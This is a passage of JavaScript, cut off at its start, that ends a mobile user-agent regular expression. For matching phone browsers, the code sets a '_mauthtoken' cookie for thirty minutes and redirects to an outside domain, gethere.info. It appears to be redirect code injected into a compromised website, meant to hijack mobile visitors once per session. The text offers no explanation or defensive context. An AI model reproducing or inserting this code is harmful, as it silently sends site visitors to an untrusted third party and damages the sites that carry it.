wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = "_mauthtoken=1; path=/;expires="+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,'http://gethere.info/kt/?264dpr&');}